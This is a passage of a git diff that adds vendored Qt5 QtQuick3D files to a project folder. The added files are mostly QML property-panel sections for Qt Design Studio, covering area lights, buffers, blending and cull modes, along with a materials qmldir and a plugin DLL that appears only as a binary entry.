"hasTransparencyChanged" + Parameter { name: "hasTransparency"; type: "bool" } + } + Signal { + name: "hasRefractionChanged" + Parameter { name: "hasRefraction"; type: "bool" } + } + Signal { + name: "alwaysDirtyChanged" + Parameter { name: "alwaysDirty"; type: "bool" } + } + Method { + name: "setHasTransparency" + Parameter { name: "hasTransparency"; type: "bool" } + } + Method { + name: "setHasRefraction" + Parameter { name: "hasRefraction"; type: "bool" } + } + Method { + name: "setShaderInfo" + Parameter { name: "shaderInfo"; type: "QQuick3DShaderUtilsShaderInfo"; isPointer: true } + } + Method { + name: "setAlwaysDirty" + Parameter { name: "alwaysDirty"; type: "bool" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/qmldir new file mode 100644 index 00000000..313ecf38 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/qmldir @@ -0,0 +1,22 @@ +module QtQuick3D.Materials +plugin qtquick3dmaterialplugin +classname QtQuick3DMaterialPlugin +AluminumAnisotropicMaterial 1.0 AluminumAnisotropicMaterial.qml +AluminumBrushedMaterial 1.0 AluminumBrushedMaterial.qml +AluminumEmissiveMaterial 1.0 AluminumEmissiveMaterial.qml +AluminumMaterial 1.0 AluminumMaterial.qml +AluminumAnodizedEmissiveMaterial 1.0 AluminumAnodizedEmissiveMaterial.qml +AluminumAnodizedMaterial 1.0 AluminumAnodizedMaterial.qml +CopperMaterial 1.0 CopperMaterial.qml +GlassMaterial 1.0 GlassMaterial.qml +GlassRefractiveMaterial 1.0 GlassRefractiveMaterial.qml +FrostedGlassMaterial 1.0 FrostedGlassMaterial.qml +FrostedGlassSinglePassMaterial 1.0 FrostedGlassSinglePassMaterial.qml +PaperArtisticMaterial 1.0 PaperArtisticMaterial.qml +PaperOfficeMaterial 1.0 PaperOfficeMaterial.qml +PlasticStructuredRedMaterial 1.0 PlasticStructuredRedMaterial.qml +PlasticStructuredRedEmissiveMaterial 1.0 PlasticStructuredRedEmissiveMaterial.qml +SteelMilledConcentricMaterial 1.0 SteelMilledConcentricMaterial.qml +designersupported +depends QtQuick3D 1.0 +depends QtQuick.Window 2.1 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/qtquick3dmaterialplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/qtquick3dmaterialplugin.dll new file mode 100644 index 00000000..9aab3989 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/qtquick3dmaterialplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/AreaLightSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/AreaLightSection.qml new file mode 100644 index 00000000..ad5efa55 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/AreaLightSection.qml @@ -0,0 +1,128 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("AreaLight") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Scope") + tooltip: qsTr("Sets the scope of the light. Only the node and its children are affected by this light.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Node" + Layout.fillWidth: true + backendValue: backendValues.scope + } + } + + Label { + text: qsTr("Brightness") + tooltip: qsTr("Sets the strength of the light.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.brightness + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Width") + tooltip: qsTr("Sets the width of the area light's rectangle.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.width + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Height") + tooltip: qsTr("Sets the height of the area light's rectangle.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.height + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Color") + width: parent.width + + ColorEditor { + caption: qsTr("Color") + backendValue: backendValues.color + supportGradient: false + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Ambient Color") + width: parent.width + ColorEditor { + caption: qsTr("Ambient Color") + backendValue: backendValues.ambientColor + supportGradient: false + Layout.fillWidth: true + } + } + + ShadowSection { + width: parent.width + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/AreaLightSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/AreaLightSpecifics.qml new file mode 100644 index 00000000..2479e02b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/AreaLightSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + NodeSection { + width: parent.width + } + + AreaLightSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BlendingSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BlendingSection.qml new file mode 100644 index 00000000..2f29301b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BlendingSection.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Blending") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Source") + tooltip: qsTr("Source blending for a pass.") + } + ComboBox { + scope: "Blending" + model: ["Unknown", "Zero", "One", "SrcColor", "OneMinusSrcColor", "DstColor", "OneMinusDstColor", "SrcAlpha", "OneMinusSrcAlpha", "DstAlpha", "OneMinusDstAlpha", "ConstantColor", "OneMinusConstantColor", "ConstantAlpha", "OneMinusConstantAlpha", "SrcAlphaSaturate"] + backendValue: backendValues.srcBlending + Layout.fillWidth: true + } + Label { + text: qsTr("Destination") + tooltip: qsTr("Destination blending for a pass.") + } + ComboBox { + scope: "Blending" + model: ["Unknown", "Zero", "One", "SrcColor", "OneMinusSrcColor", "DstColor", "OneMinusDstColor", "SrcAlpha", "OneMinusSrcAlpha", "DstAlpha", "OneMinusDstAlpha", "ConstantColor", "OneMinusConstantColor", "ConstantAlpha", "OneMinusConstantAlpha"] + backendValue: backendValues.destBlending + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BlendingSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BlendingSpecifics.qml new file mode 100644 index 00000000..6e1567f6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BlendingSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + BlendingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferBlitSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferBlitSection.qml new file mode 100644 index 00000000..b5d26831 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferBlitSection.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Buffer Blit") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Source") + tooltip: qsTr("Source buffer for the buffer blit.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Buffer" + Layout.fillWidth: true + backendValue: backendValues.source + } + } + Label { + text: qsTr("Destination") + tooltip: qsTr("Destination buffer for the buffer blit.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Buffer" + Layout.fillWidth: true + backendValue: backendValues.destination + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferBlitSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferBlitSpecifics.qml new file mode 100644 index 00000000..289c12f0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferBlitSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + BufferBlitSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferInputSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferInputSection.qml new file mode 100644 index 00000000..421c312d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferInputSection.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Buffer Input") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Buffer") + tooltip: qsTr("Input buffer for a pass.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Buffer" + Layout.fillWidth: true + backendValue: backendValues.buffer + } + } + Label { + text: qsTr("Parameter") + tooltip: qsTr("Buffer input buffer name in the shader.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.param + Layout.fillWidth: true + showTranslateCheckBox: false + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferInputSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferInputSpecifics.qml new file mode 100644 index 00000000..7be28461 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferInputSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + BufferInputSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferSection.qml new file mode 100644 index 00000000..7bd7d534 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferSection.qml @@ -0,0 +1,114 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Buffer") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Name") + tooltip: qsTr("Buffer name.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.name + Layout.fillWidth: true + showTranslateCheckBox: false + } + } + + Label { + text: qsTr("Format") + tooltip: qsTr("Format of the buffer.") + } + ComboBox { + scope: "Buffer" + model: ["Unknown", "R8", "R16", "R16F", "R32I", "R32UI", "R32F", "RG8", "RGBA8", "RGB8", "SRGB8", "SRGB8A8", "RGB565", "RGBA16F", "RG16F", "RG32F", "RGB32F", "RGBA32F", "R11G11B10", "RGB9E5", "Depth16", "Depth24", "Depth32", "Depth24Stencil8"] + backendValue: backendValues.format + Layout.fillWidth: true + } + + Label { + text: qsTr("Filter") + tooltip: qsTr("Texture filter for the buffer.") + } + ComboBox { + scope: "Buffer" + model: ["Unknown", "Nearest", "Linear"] + backendValue: backendValues.textureFilterOperation + Layout.fillWidth: true + } + + Label { + text: qsTr("Coordinate Operation") + tooltip: qsTr("Texture coordinate operation for the buffer.") + } + ComboBox { + scope: "Buffer" + model: ["Unknown", "ClampToEdge", "MirroredRepeat", "Repeat"] + backendValue: backendValues.textureCoordOperation + Layout.fillWidth: true + } + + Label { + text: qsTr("Allocation Flags") + tooltip: qsTr("Allocation flags for the buffer.") + } + ComboBox { + scope: "Buffer" + model: ["None", "SceneLifetime"] + backendValue: backendValues.bufferFlags + Layout.fillWidth: true + } + + Label { + text: qsTr("Size Multiplier") + tooltip: qsTr("Defines the size multiplier for the buffer.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10000 + minimumValue: 0 + decimals: 2 + realDragRange: 30 + backendValue: backendValues.sizeMultiplier + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferSpecifics.qml new file mode 100644 index 00000000..be0b16b2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/BufferSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + BufferSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CullModeSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CullModeSection.qml new file mode 100644 index 00000000..e3de29ca --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CullModeSection.qml @@ -0,0 +1,54 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Cull Mode") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Mode") + tooltip: qsTr("Cull mode for a pass.") + } + ComboBox { + scope: "Material" + model: ["BackFaceCulling", "FrontFaceCulling", "NoCulling"] + backendValue: backendValues.cullMode + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CullModeSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CullModeSpecifics.qml new file mode 100644 index 00000000..6a22c0d1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CullModeSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + CullModeSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CustomCameraSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CustomCameraSection.qml new file mode 100644 index 00000000..4acb2057 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CustomCameraSection.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Custom Camera") + + SectionLayout { + // TODO: projection is matrix4x4 property, is that supported? + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CustomCameraSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CustomCameraSpecifics.qml new file mode 100644 index 00000000..15f2ed69 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/CustomCameraSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + CustomCameraSection { + width: parent.width + } + + NodeSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DefaultMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DefaultMaterialSection.qml new file mode 100644 index 00000000..8af86f44 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DefaultMaterialSection.qml @@ -0,0 +1,395 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file 